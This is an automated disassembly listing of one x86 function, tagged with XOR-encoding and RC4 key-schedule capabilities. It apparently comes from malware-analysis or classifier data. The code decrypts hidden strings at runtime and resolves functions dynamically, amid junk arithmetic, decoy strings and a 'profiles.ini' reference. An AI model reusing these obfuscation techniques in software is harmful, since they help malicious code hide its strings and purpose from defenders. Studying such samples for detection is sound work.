Function at 0x1001834c
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
mov dword [ebp - 0x1c], ecx
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0x54], edx
inc ecx
mov dword [ebp - 0x4c], 0x209d
push esi
push edi
mov eax, ebx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], 0x688
mov dword [ebp - 0x44], 0x2187
mov dword [ebp - 0x40], 0x216f
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0xace
mov dword [ebp - 0x34], ecx
test eax, eax
je 0x1001839b
inc eax
cmp eax, 8
jl 0x10018391
mov eax, dword [ebp + eax*4 - 0x50]
push 2
pop ecx
mov dword [ebp - 8], eax
mov eax, ebx
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x88], 0xfe
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x80], 0x1b1c
mov dword [ebp - 0x7c], 0x4a9
mov dword [ebp - 0x78], 0x1253
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], 0x1996
mov dword [ebp - 0x68], ecx
cmp eax, 6
je 0x100183ed
inc eax
cmp eax, 0xa
jl 0x100183e2
mov eax, dword [ebp + eax*4 - 0x8c]
mov edx, dword [0x1003eca4]
mov esi, edx
mov dword [ebp - 0x14], eax
or esi, 0x85fa58e0
mov eax, ebx
inc eax
cmp byte [eax + str.Browser_launched_failed_A1], bl
jne 0x10018407
mov ecx, dword [ebp - 0x54]
cmp ecx, eax
jae 0x10018436
cmp ecx, 0xda9
jne 0x10018425
lea edx, [esi - 0x39a876e2]
imul esi, edx, 0x18b81ca
inc ecx
cmp ecx, eax
jb 0x10018417
mov dword [0x1003eca4], edx
mov ecx, 0xf2
mov dword [ebp - 0x48], 0xbb0
mov eax, ebx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], 0x72
mov dword [ebp - 0x40], 0x1647
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0x14da
mov dword [ebp - 0x34], ecx
test eax, eax
je 0x1001846f
inc eax
cmp eax, 8
jl 0x10018465
mov eax, dword [ebp + eax*4 - 0x50]
xor eax, 0xf1
push esi
mov dword [ebp - 0x64], eax
call fcn.10016ceb
add esp, 4
mov edi, ebx
imul eax, edx, 0xec234776
mov dword [0x1003ec8c], eax
inc edi
cmp word [edi*2 + str.GetThemeTextExtent], bx
jne 0x10018491
call fcn.100165ca
mov esi, dword [0x1003eca4]
cmp dword [ebp - 0x1c], edi
jae 0x100184f7
mov eax, dword [0x1003ec8c]
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
push str.GetThemeTextExtent
mov edx, esi
call fcn.10016f9d
pop ecx
cmp ebx, 0x15b9
jne 0x100184e9
mov esi, dword [ebp - 0xc]
mov eax, str.GetThemeTextExtent
or esi, 0xd19a9787
mov edx, eax
mov ecx, eax
mov dword [0x1003eca4], esi
call fcn.10015fa7
add dword [ebp - 0xc], 0x13e35fbf
inc ebx
cmp ebx, edi
jb 0x100184b7
xor ebx, ebx
push ecx
push str.profiles.ini
mov edx, str.choicehotels.com
mov dword [ebp - 0x10], esi
mov ecx, esi
call fcn.1001777f
mov eax, esi
and eax, 0xe294919e
mov dword [ebp - 0xc], eax
mov dword [0x1003ec8c], eax
mov eax, dword [ebp - 0x1c]
pop ecx
pop ecx
cmp eax, dword [ebp - 8]
jne 0x1001879b
call fcn.1001741f
mov esi, str.5J7R7W77f7t77
lea edi, [ebp - 0x44]
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x44], 0x5c
jne 0x1001855d
mov al, 0x5c
test al, al
je 0x1001855d
cmp byte [ebp + ecx - 0x44], 0
je 0x1001855d
mov al, byte [ecx + 0x10037551]
inc ecx
cmp al, byte [ebp + ecx - 0x44]
je 0x10018545
movzx eax, byte [ebp + ecx - 0x44]
movzx ecx, byte [ecx + str.profiles.ini]
sub ecx, eax
cmp ecx, 0xa4b
jne 0x10018581
call fcn.1001631c
imul eax, dword [ebp - 0xc], 0x167f4c30
jmp 0x10018589
mov eax, dword [ebp - 0x10]
and eax, 0x604467ad
mov esi, str.umig.gov
imul eax, eax, 0x7994e7f2
lea edi, [ebp - 0x28]
mov dword [ebp - 0x3c], 0x7b8c5139
mov dword [ebp - 0x38], 0x8fbf47f6
mov dword [ebp - 0x34], 0x308ed2c
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, 0xd9605570
sub edi, eax
mov eax, ebx
mov dword [ebp - 0xc], edi
mov byte [ebp + eax - 0x1a8], al
inc eax
cmp eax, 0x100
jb 0x100185bb
and edi, 0x58cdf321
mov esi, ebx
mov dword [ebp - 0x10], edi
mov edi, ebx
mov dl, byte [ebp + edi - 0x1a8]
mov eax, edi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x28]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x1a8]
mov byte [ebp + edi - 0x1a8], al
inc edi
mov byte [ebp + esi - 0x1a8], dl
cmp edi, 0x100
jb 0x100185d7
mov esi, dword [ebp - 0x10]
mov ecx, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 8], ebx
lea eax, [ecx + 1]
movzx edx, al
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x64], edx
mov cl, byte [ebp + edx - 0x1a8]
movzx edi, cl
add eax, edi
mov dword [ebp - 0x14], edi
movzx edi, al
mov dword [ebp - 0x30], edi
mov al, byte [ebp + edi - 0x1a8]
mov byte [ebp + edx - 0x1a8], al
mov byte [ebp + edi - 0x1a8], cl
mov edi, ebx
push ecx
push str.Browser_launched_failed_A1
mov edx, str.choicehotels.com
mov ecx, esi
call fcn.1001777f
and esi, 0xff97fdf1
inc edi
pop ecx
pop ecx
mov dword [0x1003ec8c], esi
cmp byte [edi + str.profiles.ini], 0
jne 0x10018653
cmp dword [ebp - 4], edi
mov dword [ebp - 0x18], edi
mov edi, dword [ebp - 0xc]
mov dword [ebp - 0x10], esi
jae 0x100186c8
mov ebx, dword [ebp - 0x18]
call fcn.1001610a
cmp dword [ebp - 4], 0x1b5f
jne 0x100186a7
call fcn.1001631c
lea esi, [edi - 0x38e68ad]
and esi, 0x4d975cce
mov dword [0x1003ec8c], esi
call fcn.100175e9
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, ebx
jb 0x1001868e
mov dword [ebp - 0x10], esi
xor ebx, ebx
push 0xb
pop ecx
push 0x63
mov esi, str.34_44494C4Q4Z4585_5
mov dword [ebp - 0x18], ebx
lea edi, [ebp - 0x90]
mov edx, ebx
pop eax
rep movsd dword es:[edi], dword [esi]
cmp ax, word [ebp - 0x90]
jne 0x10018714
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x10018711
cmp word [ebp + eax - 0x90], bx
je 0x10018711
inc edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.choicehotels.com]
cmp cx, word [ebp + eax - 0x90]
je 0x100186ed
mov dword [ebp - 0x18], edx
call fcn.1001683c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xa8]
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0xc]
cmp ecx, eax
jae 0x10018754
cmp ecx, 0x1d41
jne 0x10018740
lea esi, [edi - 0x1422273]
mov dword [0x1003ec8c], esi
inc ecx
lea edi, [esi + 0x17ecce97]
cmp ecx, eax
jb 0x1001872c
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0xc], edi
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 8]
movzx eax, byte [ebp + ecx - 0x1a8]
add eax, dword [ebp - 0x14]
movzx eax, al
mov al, byte [ebp + eax - 0x1a8]
xor al, byte [ebp + edx - 0x3c]
mov byte [ebp + edx - 0x2c], al
inc edx
mov dword [ebp - 8], edx
cmp edx, 0xc
jb 0x1001861b
and edi, 0x2be862bc
mov byte [ebp - 0x20], bl
mov dword [0x1003eca4], edi
lea edx, [ebp - 0x2c]
jmp 0x10018c79
cmp eax, dword [ebp - 0x14]
jne 0x100189a6
push 0xe
pop ecx
mov esi, str.a_clients_attempt_to_establish_a_conversation_has_failed.
mov dword [ebp - 0x2c], 0x93ccedcc
lea edi, [ebp - 0xa0]
mov dword [ebp - 0x28], 0x5b99c0c8
rep movsd dword es:[edi], dword [esi]
push 0x47
mov word [ebp - 0x24], 0xdbeb
mov dword [ebp - 0x30], ebx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x18], ebx
pop eax
movsb byte es:[edi], byte [esi]
push 7
pop ecx
mov esi, str.6_7A7k9t9x99
mov dword [ebp - 4], ebx
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
cmp ax, word [ebp - 0x4c]
jne 0x10018824
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x10018824
cmp word [ebp + eax - 0x4c], bx
je 0x10018824
mov eax, str.choicehotels.com
mov ecx, str.profiles.ini
push eax
mov edx, eax
call fcn.10016cfd
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
add eax, eax
pop ecx
movzx ecx, word [eax + str.GetThemeTextExtent]
cmp cx, word [ebp + eax - 0x4c]
je 0x100187ee
call fcn.100163fb
mov esi, dword [ebp - 4]
cmp dword [ebp - 8], esi
jae 0x1001886e
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push ecx
push str.Browser_launched_failed_A1
mov edx, str.GetThemeTextExtent
mov ecx, edi
call fcn.1001777f
pop ecx
pop ecx
cmp ebx, 0x810
jne 0x10018859
imul edi, edi, 0x7caf8a96
and edi, 0x971b9b9b
call fcn.1001610a
inc ebx
cmp ebx, esi
jb 0x10018837
mov dword [ebp - 8], ebx
xor ebx, ebx
mov edi, dword [ebp - 0x10]
mov esi, ebx
and edi, 0x778b9db8
call fcn.1001610a
inc esi
cmp word [esi*2 + str.GetThemeTextExtent], bx
jne 0x10018879
cmp esi, 0x1cf4
jae 0x1001889c
lea eax, [edi + 0x7af2cd81]
mov dword [ebp - 0x10], eax
jmp 0x100188b7
lea esi, [edi - 0xc983ac3]
mov edx, edi
push edi
push esi
mov ecx, str.GetThemeTextExtent
mov dword [ebp - 0x10], esi
call fcn.10017358
pop ecx
pop ecx
mov eax, esi
or eax, 0x8afeee60
mov edi, 0x100
mov dword [ebp - 0xc], eax
mov dword [0x1003ec8c], eax
mov eax, dword [ebp - 0x18]
push 0x47
mov byte [ebp + eax - 0x1a8], al
inc eax
mov dword [ebp - 0x18], eax
cmp eax, edi
pop eax
jb 0x100187d4
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a8]
push 0x3a
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0xa0]
add eax, dword [ebp - 0x30]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x30], ecx
mov al, byte [ebp + ecx - 0x1a8]
mov byte [ebp + esi - 0x1a8], al
inc esi
mov byte [ebp + ecx - 0x1a8], bl
cmp esi, edi
jb 0x100188e4
xor ebx, ebx
imul esi, dword [ebp - 0xc], 0x418320d1
mov dword [ebp - 4], ebx
mov edi, ebx
mov dword [ebp - 0x14], esi
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 4]
mov cl, byte [ebp + edi - 0x1a8]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 4], eax
mov al, byte [ebp + eax - 0x1a8]
mov byte [ebp + edi - 0x1a8], al
mov eax, dword [ebp - 4]
mov byte [ebp + eax - 0x1a8], cl
movzx eax, byte [ebp + edi - 0x1a8]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a8]
xor al, byte [ebp + esi - 0x2c]
mov byte [ebp + esi - 0x3c], al
inc esi
cmp esi, 0xa
jb 0x10018937
mov esi, dword [ebp - 0x14]
lea edx, [ebp - 0x3c]
or esi, 0xc756de05
mov byte [ebp - 0x32], bl
mov dword [0x1003eca4], esi
jmp 0x10018c79
cmp eax, dword [ebp - 0x64]
jne 0x10018d4c
push 5
pop ecx
mov esi, str.spanish_el_salvador
mov dword [ebp - 0x60], 0xc1b20eeb
lea edi, [ebp - 0x44]
mov dword [ebp - 0x5c], 0x928ae365
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x58], 0xf
call fcn.1001610a
mov edi, ebx
call fcn.100165ca
mov eax, dword [0x1003eca4]
inc edi
mov dword [ebp - 4], eax
cmp byte [edi + str.profiles.ini], 0
lea esi, [eax + 0x3a55fb28]
mov dword [0x1003ec8c], esi
jne 0x100189d5
mov ecx, str.choicehotels.com
mov dword [ebp - 8], edi
call fcn.1001674f
mov edi, dword [ebp - 0x54]
cmp edi, dword [ebp - 8]
jae 0x10018a4a
call fcn.100165ca
mov esi, dword [0x1003ec8c]
cmp edi, 0x612
jne 0x10018a2c
and esi, 0x3fc4ecf
mov dword [0x1003ec8c], esi
mov ebx, esi
xor ebx, 0xc214fc57
mov dword [ebp - 4], ebx
mov dword [0x1003eca4], ebx
call fcn.10017016
inc edi
cmp edi, dword [ebp - 8]
jb 0x10018a0d
xor ebx, ebx
push 8
pop ecx
push 0x47
mov esi, str.wxGdiPlusModule
lea edi, [ebp - 0x84]
pop eax
rep movsd dword es:[edi], dword [esi]
mov edx, ebx
cmp ax, word [ebp - 0x84]
jne 0x10018a90
mov ecx, eax
mov eax, ebx
test cx, cx
je 0x10018a90
cmp word [ebp + eax - 0x84], bx
je 0x10018a90
inc edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.GetThemeTextExtent]
cmp cx, word [ebp + eax - 0x84]
je 0x10018a6c
movzx eax, byte [ebp + edx*2 - 0x84]
movzx ecx, byte [edx*2 + str.GetThemeTextExtent]
sub ecx, eax
cmp ecx, 0x1f76
jae 0x10018ac2
mov edx, dword [ebp - 4]
sub edx, 0x14c3b230
push ecx
call fcn.100167eb
mov esi, dword [0x1003ec8c]
pop ecx
jmp 0x10018acf
imul esi, dword [ebp - 4], 0x510bd3cf
mov dword [0x1003ec8c], esi
lea eax, [esi + 0x3874a647]
mov edi, ebx
mov dword [ebp - 0x14], eax
call fcn.10016b49
inc edi
cmp word [edi*2 + str.choicehotels.com], bx
jne 0x10018ada
mov dword [ebp - 8], edi
mov edi, dword [ebp - 0x54]
cmp edi, dword [ebp - 8]
jae 0x10018b24
mov ebx, dword [ebp - 0x14]
cmp edi, 0x224b
jne 0x10018b0b
lea esi, [ebx + 0x1b98b6a1]
call fcn.100175e9
and ebx, 0x680ef35f
call fcn.1001649b
inc edi
cmp edi, dword [ebp - 8]
jb 0x10018af8
mov dword [0x1003ec8c], esi
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov eax, ebx
mov byte [ebp + eax - 0x1a8], al
inc eax
cmp eax, 0x100
jb 0x10018b29
mov esi, dword [ebp - 0x14]
mov edi, ebx
xor edx, edx
mov bl, byte [ebp + edi - 0x1a8]
push 0x13
mov eax, edi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x44]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x1a8]
mov byte [ebp + edi - 0x1a8], al
inc edi
mov byte [ebp + esi - 0x1a8], bl
cmp edi, 0x100
jb 0x10018b3d
mov esi, dword [0x1003ec8c]
lea edi, [ebp - 0x28]
xor ebx, ebx
or esi, 0x927ea75
mov dword [ebp - 0x14], esi
mov edx, ebx
mov esi, str.magnitka
mov dword [ebp - 4], ebx
mov ecx, ebx
mov dword [ebp - 0x18], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x14]
lea eax, [ecx + 1]
movzx eax, al
mov dword [ebp - 8], eax
mov cl, byte [ebp + eax - 0x1a8]
mov eax, dword [ebp - 4]
movzx esi, cl
add eax, esi
mov dword [ebp - 0x14], esi
cmp byte [ebp - 0x28], 0x47
mov esi, dword [ebp - 8]
movzx eax, al
mov dword [ebp - 4], eax
mov al, byte [ebp + eax - 0x1a8]
mov byte [ebp + esi - 0x1a8], al
mov eax, dword [ebp - 4]
mov esi, dword [0x1003ec8c]
mov byte [ebp + eax - 0x1a8], cl
mov ecx, ebx
jne 0x10018c06
mov al, 0x47
test al, al
je 0x10018c06
cmp byte [ebp + ecx - 0x28], bl
je 0x10018c06
mov al, byte [ecx + 0x100378e1]
inc ecx
cmp al, byte [ebp + ecx - 0x28]
je 0x10018bef
movzx eax, byte [ebp + ecx - 0x28]
movzx ecx, byte [ecx + str.GetTLWParentIfNotBeingDeleted]
sub ecx, eax
cmp ecx, 0x112b
jae 0x10018c3a
mov eax, str.GetThemeTextExtent
mov ecx, str.profiles.ini
push eax
mov edx, eax
call fcn.10016cfd
mov edx, dword [ebp - 0x18]
lea eax, [edi + 0x1f7e0f96]
pop ecx
jmp 0x10018c41
mov eax, esi
or eax, 0xcfdd7a57
mov ecx, dword [ebp - 8]
mov dword [0x1003eca4], eax
movzx eax, byte [ebp + ecx - 0x1a8]
add eax, dword [ebp - 0x14]
movzx eax, al
mov al, byte [ebp + eax - 0x1a8]
xor al, byte [ebp + edx - 0x60]
mov byte [ebp + edx - 0x3c], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 9
jb 0x10018ba3
mov byte [ebp - 0x33], bl
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x20c]
call fcn.1000eece
mov eax, dword [0x1003ec8c]
mov ecx, eax
mov edx, dword [0x1003eca4]
push eax
call fcn.10015d26
pop ecx
push 0x10
pop ecx
mov esi, str.argument_out_of_supported_range
lea edi, [ebp - 0xa4]
rep movsd dword es:[edi], dword [esi]
push 0x47
pop ecx
mov edx, ebx
cmp cx, word [ebp - 0xa4]
jne 0x10018cdc
mov eax, ebx
test cx, cx
je 0x10018cdc
cmp word [ebp + eax - 0xa4], bx
je 0x10018cdc
inc edx
lea eax, [edx + edx]
movzx ecx, word [eax + str.GetThemeTextExtent]
cmp cx, word [ebp + eax - 0xa4]
je 0x10018cb8
movzx eax, byte [ebp + edx*2 - 0xa4]
movzx ecx, byte [edx*2 + str.GetThemeTextExtent]
sub ecx, eax
cmp ecx, 0x1739
jae 0x10018d07
mov eax, dword [0x1003ec8c]
and eax, 0x28a23568
mov dword [0x1003eca4], eax
jmp 0x10018d1b
mov eax, dword [0x1003eca4]
or eax, 0xc726da5
mov dword [0x1003ec8c], eax
call fcn.100163fb
mov esi, dword [ebp - 0x1c]
mov eax, dword [esi*4 + 0x10040468]
test eax, eax
jne 0x10018d3d
lea eax, [ebp - 0x20c]
push eax
call dword [0x10040460]
mov dword [esi*4 + 0x10040468], eax
push dword [ebp - 0x54]
push eax
call dword [0x10040458]
jmp 0x10018e41
call fcn.1001649b
mov esi, str.9gag.com
mov dword [ebp - 0x1c], ebx
lea edi, [ebp - 0x28]
mov eax, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x28], 0x42
jne 0x10018d84
mov cl, 0x42
test cl, cl
je 0x10018d81
cmp byte [ebp + eax - 0x28], 0
je 0x10018d81
mov cl, byte [eax + 0x10037561]
inc eax
cmp cl, byte [ebp + eax - 0x28]
je 0x10018d69
mov dword [ebp - 0x1c], eax
mov esi, dword [ebp - 0x10]
mov ecx, str.choicehotels.com
mov edi, dword [ebp - 0xc]
mov edx, esi
push esi
push edi
call fcn.10017358
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
movzx eax, byte [ebp + ecx - 0x28]
movzx ecx, byte [ecx + str.Browser_launched_failed_A1]
sub ecx, eax
cmp ecx, 0x2408
jbe 0x10018dbb
mov edi, esi
xor edi, 0x57ffe0fb
lea eax, [edi - 0x55c80bda]
mov dword [ebp - 0x90], 0x1787
mov ecx, 0x84
mov dword [ebp - 0x8c], 0x5eb
xor eax, 0xfa197378
mov dword [ebp - 0x88], 0xb72
mov dword [0x1003ec8c], eax
mov dword [ebp - 0x84], 0x9b7
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], 0x1d8b
mov dword [ebp - 0x78], 0xd0b
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], 0x8ff
mov dword [ebp - 0x6c], 0xbe6
mov dword [ebp - 0x68], 0x2697
cmp ebx, 4
je 0x10018e2c
inc ebx
cmp ebx, 0xb
jl 0x10018e21
mov eax, dword [ebp + ebx*4 - 0x90]
add edi, 0xf74259c7
mov dword [0x1003eca4], edi
xor eax, ecx
pop edi
pop esi
pop ebx
leave
ret